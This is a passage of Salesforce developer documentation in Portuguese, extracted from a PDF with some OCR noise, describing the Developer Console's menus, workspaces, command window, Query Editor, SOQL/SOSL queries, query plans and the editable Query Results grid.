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Aprimorar o Salesforce com codigo

Bem-vindos, desenvolvedores do Salesforce

Esta documentacéo fornece informagodes sobre como aprimorar a organizagéo do Salesforce desenvolvendo aplicativos personalizados

e integrando seus aplicativos externos.

A documentacao esta organizada por tarefa de modo que vocé possa localizar rapidamente as informacoes de que necessita:

e Escrevendo codigo — Escreva cédigo usando a linguagem de programagao do Apex para adicionar a légica de negdcios ou use a
linguagem de marcacao do Visualforce para criar a interface do usuério. Além disso, vocé encontrard informagées sobre como integrar

seu aplicativo usando APIs e autenticando seus aplicativos externos.
e Depurando seu cédigo — Depure seu aplicativo usando o Console do desenvolvedor.

e Testando suas alteracdes — Teste seu cddigo Apex e trabalhe com as ferramentas de teste.

e Implantar — Implemente suas alteragdes em outra organizacdo usando conjuntos de alteracdes e outras ferramentas.

Para obter o conjunto completo de documentagdo do desenvolvedor, veja https://developer.salesforce.com/page/Documentation.

Ferramentas de desenvolvimento do Salesforce

Esta tabela resume a funcionalidade das varias ferramentas de desenvolvimento do Salesforce.

Ferramenta Codigo Dgamgp Testar hybrkr Disponivel em
Console do desenvolvedordo  +# w w Seu nome 0OU O
Force.com menu de acesso rapido
(%)
Force.com IDE «F «F «F «F developersalesforce.com
Rodapé do modo de « Configuracéo ou suas
desenvolvimento do Visualforce configuracdes pessoais
Editor de cédigo « Configuracao
Execucao de teste do Apex o« Configuracao
Conjuntos de alteragdes W Configuracao

Force.com Migration Tool « Configuracéo

EDICOES

Disponivel em: Salesforce
Classic

As ferramentas disponiveis
variam de acordo com a
sua edicdo do Salesforce.


https://developer.salesforce.com/page/Documentation
https://developer.salesforce.com/
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@ Nota: OIDE Force.com é um recurso gratuito fornecido pelo Salesforce para auxiliar seus usuarios e parceiros, mas néo é considerado

parte de nossos Servicos dentro do escopo do Contrato de assinatura mestre do Salesforce.

CONSULTE TAMBEM:
http://wiki.developerforce.com/page/Tools
Usando o Console do desenvolvedor

Ativando o modo de desenvolvimento

Codigo

Escrevendo codigo

Esta secdo contém informacgdes sobre como escrever codigo para estender sua organizacao.

e Usando o Console do desenvolvedor
e Protegendo seu codigo
e Editor de consulta

e Trabalhando com cédigo

CONSULTE TAMBEM:
Depurando o seu codigo
Testando suas alteracoes

Implantar

Console do desenvolvedor

Abrir o Console do desenvolvedor

PERMISSOES DO USUARIO

Para usar o console do desenvolvedor:
Para executar andnimo no Apex:

Para usar a pesquisa de codigo e executar
SOQL ou SOSL na guia de consulta:

Para salvar as alteracoes as classes de
Apex e acionadores:

Para salvar as alteragdes nas paginas do
Visualforce e componentes:

Para salvar as alteracdes nos recursos do
Lightning:

“Exibir todos os dados”
“Apex do autor”

“API ativada”

“Apex do autor”

“Personalizar aplicativo”

“Personalizar aplicativo”

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com
Editions


http://wiki.developerforce.com/page/Tools
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Apenas alguns cliques sdo necessarios para abrir o Console do desenvolvedor no Salesforce Classic ou no Lightning Experience. O Console
do desenvolvedor é um ambiente de desenvolvimento integrado com uma colecdo de ferramentas que pode ser usada para criar,
depurar e testar aplicativos em sua organizacéo do Salesforce.

Para abrir o Console do desenvolvedor a partir do Salesforce Classic:
1. Cliqueem Seu nome.
2. (lique em Console do desenvolvedor.

Para abrir o Console do desenvolvedor a partir do Lightning Experience:

Cligue no menu de acesso rapido ( ).

2. (lique em Console do desenvolvedor.

Visdo geral da interface de usuario do console do desenvolvedor

0 Console do desenvolvedor inclui uma colecéo de ferramentas Uteis para aplicativos de codificacdo, depuracgéo e teste.

File = Edit= Debug~ Testv Workspace v Help =
PurchaseOrders * © Account@ie PH ~ 1 I
| Code Coverage: Nong ~ ﬂ
public class PurchaseOrders | 4
// Bn interface that defines what a purchase order looks like in general
public interface PurchaseQrder {
// All other functionality excluded
Double discount (): =
} 2
// One implementation of the interface for customers
public virtual class CustomerPurchaseOrder implements PurchaseOrder {
public wirtual Double discount () { |
return .05; // Flat 5% discount
. }
}
. // Employee purchase order extends Customer purchase order, but with a
LS AifE £ 33 2t o
Logs | Tests Checkpoints Query Editor | View State Progress Problems g
[C] Hide Finished Runs| Cancel All Deployments
Regld MNice  Order Description 3 [ Status Start = End Duratio Handler Ajax E Delay
439 1] 428 Checking for new Chedkpaints, Test results, & File updates Finished 2:0.. 20 234 =
438 o] 427 Checking for new Chedkpoints, Test results, & File updates Finished 20 20 84 ([
437 1] 426 Checking for new Chedkpoints, Test results, & File updates Finished 2:0.. 2Z0.. 86
435 1] 425 Checking for new Chedkpaints, Test results, & File updates Finished 2:0.. 20 115
435 o] 424 Checking for new Chedkpoints, Test results, & File updates Finished 20, 0. 7B
434 1] 423 Checking for new Chedkpaints, Test results, & File updates Finished 2:0.. 0. 103 -]

O Console do desenvolvedor é organizado nas seguintes secoes:
1. Barra de menus
2. Espaco de trabalho com uma guia para cada item aberto

3. Painel de registros, testes e problemas
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Barra de menus

Abarra de menus inclui os seguintes menus suspensos:

e O menu File (Arquivo) permite que vocé abra e crie recursos.

e O menu Edit (Editar) permite pesquisa e edicao dos arquivos de cédigo.

e O menu Debug (Depurar) fornece acesso a uma variedade de ferramentas e configuracées.
e O menu Test (Teste) fornece acesso as ferramentas de teste.

e O menu Workspace (Espaco de trabalho) permite escolher e gerenciar espacos de trabalho.

e O menu Help (Ajuda) inclui links para a ajuda online, uma pégina de referéncia de teclas de atalho, a pagina de preferéncias do
console do Developer e uma colecdo de tours guiados.

Espaco de trabalho

Um espaco de trabalho é uma colecéo de recursos representados por guias no painel principal do Console do desenvolvedor. O visualizador
ou o editor de detalhes mostrado em cada guia é determinado pelo tipo de recurso aberto nela. Por exemplo, o cédigo-fonte é aberto
no Editor de codigo-fonte, os registros sao abertos no Inspetor de registros, e assim por diante.

E possivel criar um espaco de trabalho para qualquer grupo de recursos usados juntos e, assim, manter seu trabalho organizado. Por
exemplo, é possivel criar um espaco de trabalho para o cédigo-fonte e outro para registros de depuracao, alternando entre eles a medida
que vocé programa e testa.

Consulte Espacos de trabalho do console do desenvolvedor.

Painel de registros, testes e problemas

O painel inferior no Console do desenvolvedor inclui uma colecao de guias Uteis:

e Aguia Logs (Registros) exibe os registros disponiveis.

e Aqguia Tests (Testes) exibe os testes disponiveis.

e A qguia Checkpoints (Pontos de verificacdo) exibe os pontos de verificacdo disponiveis.

e A qguia Query Editor (Editor de consulta) permite executar uma consulta SOQL ou SOSL nos dados da sua organizagéo.

e Aguia View State (Estado de exibicdo), se ativada, permite examinar o estado de exibicdo de uma péagina do Visualforce.

e A qguia Progress (Progresso) exibe todas as solicitagbes assincronas em tempo real. Para ver apenas as operagoes em andamento,
selecione Hide Finished Runs (Ocultar execucdes concluidas). Para encerrar quaisquer implementacdes que néo tenham sido
concluidas, clique em Cancel All Deployments (Cancelar todas as implementacdes). Quando terminar uma implantagao, um
encadeamento de pesquisas residual aparece na guia Progresso com um breve atraso. Implantagdes parciais nao sao possiveis. Para
limpar a tarefa de pesquisa imediatamente, atualize o Console do desenvolvedor.

e Aguia Problems (Problemas) mostra os detalhes dos erros de compilacao no Editor de cédigo-fonte. As alteracbes que vocé faz
sdo compiladas e validadas no segundo plano. Enquanto o cédigo é editado, um indicador de erro é exibido ao lado das linhas que
contém erros. Clique em uma linha na guia Problems (Problemas) para ir até a linha de cédigo que causou o erro.

@ Nota: Depois de 20 minutos de inatividade, o Console do desenvolvedor interrompe a consulta de novos registros, as execucdes
de teste e os pontos de verificacdo. Para continuar com as atualizagdes, clique em Debug (Depurar) > Resume Updating
(Continuar a atualizacao).
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Atalhos de teclado

Para ver uma lista de atalhos do teclado do Console do desenvolvedor, clique em Help (Ajuda) > Shortcut Keys (Teclas de atalho)
ou pressione CTRL+SHIFT+?.

CONSULTE TAMBEM:
Usando o Console do desenvolvedor
Menu Arquivo
Menu Depurar
Editor de consulta
Guia Registros

Guia Pontos de verificagao

Usando o Console do desenvolvedor

PERMISSOES DO USUARIO EDICOES

Para usar o console do desenvolvedor: “Exibir todos os dados” Disponivel em: Salesforce
p N o A “Apex do aulor” Classic e Lightning
ara executar andnimo no Apex: pex do autor Experience

Para usar a pesquisa de codigo e executar “API ativada”

; Disponivel em: Enterprise,
SOQL ou SOSL na guia de consulta:

Performance, Unlimited,

Para salvar as alteracdes ds classes de “Apex do autor” Developer e Database.com
Apex e acionadores: Editions

Para salvar as alteragdes nas pdginas do  “Personalizar aplicativo”
Visualforce e componentes:

Para salvar as alteragdes nos recursos do  “Personalizar aplicativo”
Lightning:

O que é o Console do desenvolvedor?

O Console do desenvolvedor é um ambiente de desenvolvimento integrado com uma colecdo de ferramentas que pode ser usada para
criar, depurar e testar aplicativos em sua organizacéo do Salesforce.

Para uma introducao sobre a Ul do Console do desenvolvedor, consulte Viséo geral da interface de usuério do console do desenvolvedor.
Acesse developer.salesforce.com para obter as Ultimas noticias e informacdes sobre o desenvolvimento do Salesforce.

Como usar o Console do desenvolvedor?

0 Console do desenvolvedor pode ajudar com muitas das suas tarefas de desenvolvimento:

Depuracao e solu¢ao de problemas

O Console do desenvolvedor fornece um conjunto prético de ferramentas para rastrear de modo eficiente as questées logicas.

e Exibir registros: Use a guia Registros para exibir uma lista de registros. Abra os registros no Inspetor de registro. O Inspetor de
registro é um visualizador de execucdo sensivel ao contexto que mostra a origem de uma operacao, 0 que acionou a operacao e o


https://developer.salesforce.com/
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que ocorreu depois. Use esta ferramenta para exibir registros de depuracéo, incluindo eventos do banco de dados, processamento
do Apex, fluxo de trabalho e l6gica de validacéo.

Definir e exibir pontos de verificacdo no cddigo do Apex: Use o Console do desenvolvedor para definir os pontos de verificacdo
para identificar a origem dos erros. Por exemplo, se deseja entender por que uma determinada solicitacdo gera um erro, vocé pode
revisar a execucdo, identificar a l6gica errada e definir um ponto de verificacdo. Ao executar o processo novamente, é possivel
inspecionar a solicitacdo em um ponto especifico para entender em detalhes como melhorar seu cédigo. Embora o Console do
desenvolvedor n&o possa fazer uma pausa na execugao como um depurador tradicional, ele fornece a mesma visibilidade aos
desenvolvedores de nuvem, reduzindo a necessidade de codificar o instrumento com comandos System.debug.

Editando e navegando no cédigo-fonte

O Console do desenvolvedor permite procurar, abrir, editar e criar arquivos de cédigo-fonte.

Procurar pacotes na sua organizagao: Navegue nos contetidos dos pacotes criados na sua organizacao.

Exibir e editar acionadores e classes do Apex: Abra e edite acionadores e classes do Apex e uma exibicdo somente leitura das
suas definicdes de objeto personalizadas.

Exibir e editar componentes do Lightning: Abrir e editar recursos do Lightning, como aplicativos, componentes, eventos ou
interfaces.

Exibir e editar paginas e componentes do Visualforce: Abra e edite as paginas e os componentes do Visualforce.

Usar o editor de cédigo-fonte: Abra um conjunto de trabalho de arquivos de cédigo e alterne entre eles com um Unico clique. O
editor de codigo-fonte do Console do desenvolvedor inclui um recurso de preenchimento automético para o codigo do Apex.

Teste e validacao do desempenho

O Console do desenvolvedor possui varios recursos dedicados a testar o codigo e analisar o desempenho.

Testar cédigo do Apex: Use o Console do desenvolvedor para verificar a cobertura do cédigo e executar os testes do Apex, incluindo
testes de unidade, testes funcionais, testes de regresséo, e assim por diante. Para facilitar o desenvolvimento de cédigo robusto e
livre de erros, o Apex suporta a criacdo e execugdo de testes de unidade. Testes de unidade sao métodos de classe que verificam se
uma determinada parte do codigo esté funcionando corretamente. Os métodos de teste da unidade ndo levam argumentos, ndo
confirmam dados para o banco de dados, ndo enviam emails e sdo marcados com a palavra-chave testMethod ou a anotagdo
isTest nadefinicdo do método. Ainda, os métodos de teste devem ser definidos nas classes de teste, ou seja, as classes sdo
anotadas com isTest.

Inspecionar registros para problemas de desempenho: O Inspetor de registro é um visualizador de execucéo sensivel ao contexto
que mostra a origem de uma operacao, o que acionou a operacdo e o que ocorreu depois. Use esta ferramenta para exibir registros
de depuracdo, incluindo eventos do banco de dados, processamento do Apex, fluxo de trabalho e légica de validagdo. Abra um
registro de depuracdo e visualize 0 desempenho agregado de uma operacdo na Arvore de desempenho. O painel Unidades executadas
divide a solicitacao em hora e tipo e classifica os horarios por métodos, consultas, fluxos de trabalho, chamadas, DML, validagoes,
acionadores e paginas, oferecendo uma ideia clara de como localizar os problemas de desempenho. Use o painel Cronograma para
exibir uma visdo de cronograma da solicitacéo geral e percorrer os compromissos de um determinado bloco. O painel Limites fornece
uma exibicdo de resumo de recursos usados e maped-los em relacdo aos seus limites de solicitacdo alocados.

Executando consultas SOQL e SOSL

O Console do desenvolvedor fornece uma interface simples para gerenciar consultas SOQL e SOSL.

Editar e executar consultas SOQL e SOSL: Use o Editor de consulta para consultar dados da sua organizacéo.



Aprimorar o Salesforce com codigo

Guia do usudrio | Console do desenvolvedor | 7

e Visualizar resultados de consulta: Os resultados sao exibidos em uma grade Resultados da consulta, na qual é possfvel abrir, criar,
atualizar e excluir registros. Em resultados de pesquisa SOSL com vdrios objetos, cada objeto é exibido em uma guia separada.

CONSULTE TAMBEM:

Abrir o Console do desenvolvedor

Visdo geral da interface de usuario do console do desenvolvedor

Menu Arquivo

Guia Registros

Exemplos de uso do inspetor de registros

Referéncia da linha de comando do Console do desenvolvedor

Para abrir ou fechar a janela de linha de comando do do Developer Console, clique em CTRL+SHIFT+L. Os seguintes comandos estao

disponiveis:

Comando
commands

exec <Apex statements>

exec [-o0 | -r]

find <string>

ajuda

man <command>

Parametros
Nenhum

<Apex statements>:Umaoumais
instrugoes do Apex.

Nenhum

<string>:Uma string de caracteres.

Nenhum

<command>: Um comando da janela da
linha de comando.

Espacos de trabalho do console do desenvolvedor

Descricao
Uma lista de todos os comandos.

Executa <Apex statements> egera
um log.

-o: Abre a janela Inserir cédigo do Apex.

-r: Executa o cédigo da janela Inserir
codigo do Apex e gera um registro.

Pesquisa o log de uma sequéncia.

Explica como obter informagdes sobre
comandos.

Exibe a descricao do comando.

Um espago de trabalho é uma colecao de recursos representados por guias no painel principal do Console do desenvolvedor. O visualizador
ou o editor de detalhes mostrado em cada guia é determinado pelo tipo de recurso aberto nela. Por exemplo, o codigo-fonte é aberto
no Editor de cédigo-fonte, os registros sdo abertos no Inspetor de registros, e assim por diante.

E possivel criar um espaco de trabalho para qualquer grupo de recursos usados juntos e, assim, manter seu trabalho organizado. Por
exemplo, é possivel criar um espaco de trabalho para o cédigo-fonte e outro para registros de depuracdo, alternando entre eles a medida

que vocé programa e testa.

O menu Workspace (Espaco de trabalho) inclui todos os links necessarios:

e Switch Workspace (Alternar espaco de trabalho): Permite selecionar entre os espacos de trabalho salvos.

e New Workspace (Novo espaco de trabalho): Cria um novo espaco de trabalho. Digite um nome para o espaco de trabalho e clique
em OK. Abra os recursos que deseja colocar no espaco de trabalho. O espaco de trabalho seré salvo quando vocé trocar para um
espaco de trabalho diferente ou fechar o Console do desenvolvedor.
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e Rename Current Workspace (Renomear espaco de trabalho atual): Substitui o espaco de trabalho atual pelo nome inserido.

e Workspace Manager (Gerenciar espaco de trabalho): Abre uma janela pop-up que permite navegar, abrir, criar e excluir espacos
de trabalho.

Vocé pode abrir 0s seguintes tipos de recursos no espaco de trabalho do Console do desenvolvedor:

e Osregistros abrem no Inspetor de registro.

e Os pontos de verificacdo abrem no Inspetor do ponto de verificacao.

e Os acionadores e as classes do Apex e as paginas e os componentes do Visualforce abrem no Editor de codigo-fonte.

e Metadados da organizacao e outros recursos que nao de cédigo abrem no Inspetor de objeto.

e Qs resultados da consulta listados na guia do Editor de consulta abrem em uma grade de Resultados de consulta editavel.

e Execugodes de teste concluidas e listadas na quia Testes abrem em uma exibicao de Resultados de teste.

Para recolher painéis ndo utilizados, use os botdes |3 ||| | ¥#| |4 |. Quando retraido, vocé pode clicar em um painel para revela-lo
temporariamente e usa-lo. Quando o seu cursor se move para fora do painel, ele é retraido automaticamente.

Ao alternar para um espaco de trabalho diferente ou fechar o Console do desenvolvedor, o estado das guias (e os painéis dentro das
guias) no espaco de trabalho atual é salvo. Se um espaco de trabalho nao tiver sido criado, a configuracéo é salva como um espaco de
trabalho Padréo.

Navegando entre guias

Para se mover para a esquerda e para a direita nas guias no espaco de trabalho, clique na guia adequada ou use 0s seguintes atalhos
de teclado:

e Esquerda: CTRL+Page Up
e Direita: CTRL+Page Down

Navegando no historico de exibi¢ao

Para avancar e retroceder pelo histérico de modos de exibicao, clique nos botdes ou use os seguintes atalhos do teclado.

e Retroceder: CTRL+,
e Avancar: CTRL+.

Clicarem = (ou CTRL +) passa pelas guias exibidas anteriormente na ordem em que foram exibidas. O botdo =~ = somente fica
ativo quando vocé esta visualizando o histérico.

CONSULTE TAMBEM:
Visdo geral da interface de usudrio do console do desenvolvedor

Editor de cédigo-fonte

Menu Arquivo

No Console do desenvolvedor, o menu File (Arquivo) permite gerenciar os acionadores e classes do Apex, paginas ou componentes do
Visualforce e recursos estéticos (texto, XML, JavaScript ou CSS). Ele inclui as sequintes opcoes:

e New (Novo): Cria um novo recurso e o abre no Editor de codigo-fonte. Vocé pode criar estes recursos:

— Classe do Apex ou acionador. Para criar um novo acionador do Apex, primeiro, selecione o objeto a ser associado ao acionador.
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- Aplicativo, componente, evento ou interface do Lightning; Para obter mais informacdes, consulte Visao geral da estrutura de
componente do Lightning (Beta) na pagina 86.

@ Nota: Para criar recursos do Lightning, é necessario usar uma organizacdo com Developer Edition que tenha um prefixo
de namespace.
— Pdagina ou componente do Visualforce

— Arquivo de recurso estético (texto, XML, JavaScript, ou CSS)

Open (Abrir): Abra a janela Arquivo Abrir que permite procurar e abrir o c6digo do aplicativo e os objetos de dados.
Open Resource (Abrir recurso): Abre a janela Recurso aberto, que permite procurar arquivos pelo nome.

Open Log (Abrir registro): Abre o registro selecionado no Inspetor de registro. Também é possivel acessar registros na guia Logs
(Registros).

Open Raw Log (Abrir registro original): Abre o registro selecionado em texto simples.
Download Log (Fazer download do log): Salva uma cépia de texto do registro selecionado na sua maquina local.
Save (Salvar): Salva o item na guia ativa.

Save All (Salvar tudo): Salva as alteragdes em todas as guias abertas no seu espaco de trabalho. Use essa op¢ao para salvar um
conjunto de alteragdes dependentes.

Delete (Excluir): Exclui o item na guia ativa. Vocé pode excluir somente classes e acionadores do Apex, paginas do Visualforce e
arquivos de recurso estatico.

Close (Fechar): Fecha a guia ativa.

Close All (Fechar tudo): Fecha todas as guias abertas no seu espaco de trabalho. Se qualquer guia tiver alteracoes ndo salvas, sera
necessario salva-las.

CONSULTE TAMBEM:

Usando a janela Arquivo Abrir
Editor de cédigo-fonte

Inspetor de objeto

Usando a janela Arquivo Abrir

A janela File (Arquivo) > Open (Abrir) no menu Console do desenvolvedor permite que vocé procure e abra seu cédigo de aplicativo
e objetos de dados.

Open %
Setup MName Namespace MName Extent Direction
Classes AcceptedEventRelati... =
Triggers Account lil
Pages AccountContactRale
Page Components AccountFeed
Objects AccountHistary
Static Resources AccountPartner
Packages AccountShare

ActivityHistory
AdditionalMumber i
Open |[] Filter| Click here to fitter the repository

Para navegar até um item na janela Open (Abrir):

1.

Na coluna Setup Entity Type (Tipo de entidade de configuracéo), clique no tipo de item que vocé deseja localizar.



Aprimorar o Salesforce com codigo Guia do usudrio | Console do desenvolvedor | 10

2. Na coluna Entities (Entidades), role e localize o item que deseja examinar.
Para filtrar os itens exibidos, clique na caixa de entrada de texto Filter (Filtrar) e digite a string de texto para exibir somente os itens
que correspondem aos critérios do filtro. A pesquisa diferencia maitsculas de minusculas.

3. Para ver itens relacionados na coluna Related (Relacionados), clique no item uma vez.
Por exemplo, cligue em um objeto para ver as classes do Apex que o utilizam.

4. Paraabrir o item em uma guia, clique duas vezes nele ou o selecione e cliqgue em Open (Abrir).
Arquivos de cédigo sdo abertos no Editor de codigo-fonte, enquanto os objetos de dados séo abertos na exibicao do Inspetor de
objeto.

E possivel procurar e abrir os contetidos de pacotes na sua organizacdo na janela File (Arquivo) > Open (Abrir). E possivel ainda ver
0s contetidos completos de pacotes e abrir 0s arquivos de codigo e objetos personalizados contidos em um pacote, mas outros itens
de pacote, como campos personalizados e regras de validacéo, podem ser vistos na lista, mas ndo visualizados em detalhes.

@ Nota: N&o é possivel exibir ou editar o contelido dos pacotes gerenciados que vocé instalou em sua organizacdo. Também é
possivel procurar, abrir e editar as entidades de pacotes ndo gerenciados assim como aqueles que vocé mesmo criou.

CONSULTE TAMBEM:
Editor de cédigo-fonte
Inspetor de registro

Inspetor de objeto

Menu Editar

O menu Edit (Editar) do console do Developer permite pesquisar e editar arquivos de cédigo.

¢ Find (Localizar): Procura o texto selecionado na exibicdo atual. Se nenhum texto estd selecionado, abre um didlogo de localizar do
navegador.

e Find Next (Localizar préxima): Localiza a proxima correspondéncia referente ao texto selecionado ou especificado na exibicao
atual.

¢ Find/Replace (Localizar/substituir): Localiza e substitui o texto selecionado ou especificado na exibicao atual.
e SearchinFiles (Pesquisar em arquivos): Abre uma caixa de didlogo de pesquisa para pesquisar os contetidos de todos os arquivos
de cédigo.

¢ Fix Indentation (Corrigir recuo): Corrige o recuo no arquivo de cédigo atual.

Menu Depurar
O menu do Console do desenvolvedor chamado Debug (Depurar) permite gerenciar os registros e executar andnimo no Apex. Ele inclui
as seguintes opgoes:

e Open Execute Anonymous Window (Abrir janela executar anénimo): Abre uma nova janela que permite inserir o cédigo do Apex
para teste. Consulte Executando o cédigo do Apex anénimo.

e Execute Last (Executar ultimo): Executa a entrada mais recente na janela Inserir cédigo do Apex.

e Switch Perspective (Alternar perspectiva): Seleciona a perspectiva na lista de perspectivas padrao e personalizadas disponiveis.
Consulte Inspetor de registro.

e View Log Panels (Exibir painéis de registro): Exibe uma lista de painéis disponiveis para uso em uma perspectiva.

e Perspective Manager (Gerenciador de perspectiva): Abre o Gerenciador de perspectiva. Consulte Gerenciando perspectivas no
inspetor de registro.
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e Save Perspective (Salvar perspectiva): Salva as alteragdes feitas a perspectiva atual desde que ela foi aberta.
e Save Perspective As (Salvar perspectiva como): Salva uma cépia da perspectiva atual com um nome diferente.

e Auto-Hide Logs (Ocultar registros automaticamente): Selecione essa opgao para desmarcar registros existentes quando a pagina
é atualizada.

e Show My Current Logs Only (Exibir apenas meus registros atuais): Desmarque essa op¢do (marcada por padrao) para ver todos
0s registros salvos para a sua organizacao, incluindo registros recém-adicionados criados por outros usuarios.

e Show My Current Checkpoints Only (Exibir apenas meus pontos de verificagao atuais): Desmarque essa opgao (selecionada por
padrdo) para exibir todos os pontos de verificacdo atualmente salvos para a sua organizacao, incluindo aqueles recém-gerados
criados por outros usudrios.

e Clear (Limpar): Selecione Log Panel (Painel de registro), Checkpoint Results Panel (Painel de resultados do ponto de verificacao)
ou Checkpoint Locations (Locais do ponto de verificacdo) para apagar dados atuais do cache e atualizar a exibicéo.

e Resume Updating (Continuar a atualizacdo): Renova a conexao com o servidor. Essa opcéo € exibida apenas se a pesquisa tiver
sido interrompida devido a inatividade.

e Change Log Levels (Alterar niveis de registro): Abre o didlogo de configuragdes de registro para definir os niveis de registro para
solicitacdes futuras. Consulte Niveis de registro de depuracdo.

@ Nota: Algumas op¢des no menu Debug (Depurar) nao estao acessiveis até que um registro tenha sido gerado.

CONSULTE TAMBEM:
Executando o codigo do apex anonimo
Inspetor de registro
Gerenciando perspectivas no inspetor de registro

Niveis de registro de depuracéo

Editor de consulta

Vocé pode usar o Editor de consulta no Console do desenvolvedor para executar uma consulta SOQL ou pesquisa SOSL nos dados da
sua organizagao. O painel de Histérico exibe suas Ultimas 10 consultas para reutilizacao rapida. Os resultados sao exibidos em uma grade
Resultados da consulta, na qual é possivel abrir, criar, atualizar e excluir registros. Em resultados de pesquisa SOSL com varios objetos,
cada objeto é exibido em uma guia separada.
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File » Edit~ Debug~ Test= Workspace~ Helpr <
triggerlapxt *'|| Account@12:54 PM * | Contact@12:55 PM *
SELECT Contact.FirstMame, Contact.Account.Name from Contact

Query Results - Total Rows: 20

FirstName Account.Mame

Rose Edge Communications

Sean Edge Communications

Jack Burlington Textiles Corp of America

Pat Pyramid Construction Inc.

Andy Dickenson plc

Tim Grand Hotels & Resorts Ltd

John Grand Hotels & Resorts Ltd

Stella United Oil & Gas Corp.

| Avren Inited Nl & Gae Caen h

Query Grid:| Save Rows || InsertRow || Delete Row || Refresh Grid Access in Salesforce:| Create New || Open Detail Page || Edit Page
Logs Tests Checkpoints Query Editor Progress Problems ¥

SELECT Contact.FirstName, Contact.Account.Name from Contact _

Executed
SELECT Id, Name FROM Account WHERE Mam
SELECT Contact.FirstName, Contact.Account. ...

Execute || Query Plan |[T] Use Tooling API

NESTA SECAO:

Executar uma consulta SOQL ou pesquisa SOSL
Execute consultas SOQL ou pesquisas SOSL no painel do Editor de consulta do Console do desenvolvedor.

Recuperar planos de consulta

Use a ferramenta Plano de consulta para otimizar e acelerar as consultas realizadas em grandes quantidades de registros. Visualize
planos de consulta para consultas SOQL, pesquisas SOSL, relatérios e exibicdes de lista. Se ha indices personalizados disponiveis para
a sua organizagao, use planos de consulta para ajudé-lo a decidir quando solicitar um indice personalizado do Suporte do Salesforce.
Grade de Resultados da consulta

A grade Resultados da consulta exibe cada registro como uma linha. E possivel criar, atualizar e excluir registros sem sair do Console
do desenvolvedor. Em resultados de pesquisa SOSL com vdrios objetos, cada objeto é exibido em uma guia separada.

CONSULTE TAMBEM:

Usando o Console do desenvolvedor

Executar uma consulta SOQL ou pesquisa SOSL

Execute consultas SOQL ou pesquisas SOSL no painel do Editor de consulta do Console do desenvolvedor.

1.
2.

Insira uma consulta SOQL ou pesquisa SOSL no painel do Editor de consulta.

Se vocé desejar consultar entidades do conjunto de ferramentas em vez das entidades de dados, selecione Use Tooling API (Usar
APl do conjunto de ferramentas).

Clique em Execute (Executar). Se a consulta gerar erros, eles serdo exibidos na parte inferior do painel do Editor de consulta. Os
resultados séo exibidos na grade Resultados da consulta no espaco de trabalho do Console do desenvolvedor.

O Cuidado: Sevocé executar uma consulta novamente, as alteragdes ndo salvas na grade Resultados da consulta serdo perdidas.

Para executar uma consulta novamente, clique em Refresh Grid (Atualizar grade) ou clique na consulta no painel Histérico e em
Execute (Executar).
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Para obter informacdes sobre a sintaxe de consulta e pesquisa, consulte a Referéncia de SOQL e SOSL do Force.com.

CONSULTE TAMBEM:
Editor de consulta
Recuperar planos de consulta

Grade de Resultados da consulta

Recuperar planos de consulta

Use a ferramenta Plano de consulta para otimizar e acelerar as consultas realizadas em grandes quantidades de registros. Visualize planos
de consulta para consultas SOQL, pesquisas SOSL, relatérios e exibi¢oes de lista. Se ha indices personalizados disponiveis para a sua
organizacéo, use planos de consulta para ajuda-lo a decidir quando solicitar um indice personalizado do Suporte do Salesforce.

Para ativar o botdo Plano de consulta no Editor de consulta, cliqgue em Help (Ajuda) > Preferences (Preferéncias), defina Enable
Query Plan (Ativar plano de consulta) como verdadeiro e clique em Save (Salvar).

Para obter planos de consulta para consultas SOQL ou pesquisas SOSL, insira a consulta e clique no botao Query Plan (Plano de consulta)
no Editor de consulta.

Ajanela Plano de consulta mostra todas as opera¢des de consulta e o custo de cada uma. O painel Notas exibe todas as notas disponiveis
para o seu plano de consulta com classificagdo mais alta, ou seja, 0 plano que estd em uso no momento.

Para exibir planos de consulta referentes a relatérios ou exibicdes de lista, realize estas etapas.

1. Localize 0 ID do relatério ou da exibicao de lista em seu URL.

® Accounts ~ salesforcecor X W )

C N https/ s alesfor ce.com /001 He FHOTEANO00000LF ok ),

B

—— o — —_— »

‘; My Account List View ¥ | Edit| Delete | Create Mew View FEREN Jp Feed | & @

Hew Account |14 & B C/D/EIF G HIIJ K LIMNOP @RIS/TU W WX Y Z ote all

‘ Dev User | Action Account Hame + Account Site Billing State/Province Phon
) Edit|Del | €9 Burlington Testiles Corp of 4. [l (338) 22

2. Insira o ID do relatério ou da exibicdo de lista no Editor de consulta e cliqgue em Query Plan (Plano de consulta).

3. Inspecione o plano de consulta referente ao relatério ou exibicdo de lista.

CONSULTE TAMBEM:
Editor de consulta
Executar uma consulta SOQL ou pesquisa SOSL

Grade de Resultados da consulta

Grade de Resultados da consulta

A grade Resultados da consulta exibe cada registro como uma linha. E possivel criar, atualizar e excluir registros sem sair do Console do
desenvolvedor. Em resultados de pesquisa SOSL com varios objetos, cada objeto é exibido em uma guia separada.

e Paraabrir um registro nos resultados, clique na linha e em Open Detail Page (Abrir pdgina de detalhes). Para editar o registro, clique
em Edit Page (Editar pagina) para seqguir diretamente para o registro no Salesforce.


http://www.salesforce.com/us/developer/docs/soql_sosl/index_Left.htm
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e Para criar um registro, clique em Insert Row (Inserir linha). Insira as informacdes e clique em Save Rows (Salvar linhas).

@ Nota: Parainserir uma linha, os resultados da consulta devem conter todos os campos obrigatérios do objeto. Os campos
obrigatorios devem ser de texto simples ou numéricos. Se essas condicoes ndo forem atendidas, uma linha em branco sera
criada, mas ndo seré possivel salva-la. Nesse caso, clique em Create New (Criar novo) para criar um registro no Salesforce.

e Para editar um registro na grade Resultados da consulta, clique duas vezes na linha. Faca as suas alteracdes e clique em Save Rows
(Salvar linhas).

e Para excluir um registro, selecione a linha relacionada e clique em Delete Row (Excluir linha).

CONSULTE TAMBEM:
Editor de consulta
Executar uma consulta SOQL ou pesquisa SOSL

Recuperar planos de consulta

Componentes do Lightning, Apex, Visualforce

Trabalhando com cddigo

Esta secdo contém informagdes sobre as ferramentas e técnicas que podem ser usadas ao fazer alteragdes na sua organizacao por meio
de cédigo.

e Usando o editor para Visualforce

e Editor de codigo-fonte

e Inspetor de objeto

e Nocbes basicas sobre varidveis globais

e Valores validos para a varidvel global $Action
e Visao geral do codigo do Apex

e Visualforce

e (O que sao servicos de email?

e \Visdo geral dos rétulos personalizados
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Usando o editor para Visualforce ou Apex

Durante a edicao no Visualforce ou no Apex, no rodapé do modo de desenvolvimento do Visualforce
ou da Configuracdo, um editor esta disponivel com a seguinte funcionalidade:

Destaque da sintaxe
